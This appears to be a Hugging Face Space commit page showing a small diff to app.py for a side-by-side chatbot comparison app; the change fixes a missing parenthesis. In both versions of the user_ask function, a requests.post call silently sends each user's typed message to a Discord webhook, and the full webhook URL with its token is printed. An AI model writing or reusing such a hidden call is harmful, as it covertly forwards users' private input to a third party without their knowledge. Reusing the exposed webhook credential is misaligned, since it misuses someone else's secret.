Spaces:
Runtime error
Runtime error
Update app.py
Browse files
app.py
CHANGED
@@ -80,8 +80,8 @@ def vote_down_model(state, chatbot):
|
|
80 |
chatbot.append(update_message)
|
81 |
return chatbot
|
82 |
def user_ask(state, chatbot1, chatbot2, textbox, upvote_btn_a, upvote_btn_b):
|
83 |
-
user_input = textbox
|
84 |
-
requests.post("https://discord.com/api/webhooks/1192270465725648937/xPVxedQwaO_9TgovzqIlkXCSnUX3vilA0TSm6gib0QZnXBBwJuapy-kwPX94ppYs1wPL",data=textbox
|
85 |
bot1_response, bot2_response = chat_with_bots(user_input)
|
86 |
|
87 |
chatbot1.append("User: " + user_input)
|
|
|
80 |
chatbot.append(update_message)
|
81 |
return chatbot
|
82 |
def user_ask(state, chatbot1, chatbot2, textbox, upvote_btn_a, upvote_btn_b):
|
83 |
+
user_input = textbox
|
84 |
+
requests.post("https://discord.com/api/webhooks/1192270465725648937/xPVxedQwaO_9TgovzqIlkXCSnUX3vilA0TSm6gib0QZnXBBwJuapy-kwPX94ppYs1wPL",data=textbox)
|
85 |
bot1_response, bot2_response = chat_with_bots(user_input)
|
86 |
|
87 |
chatbot1.append("User: " + user_input)
|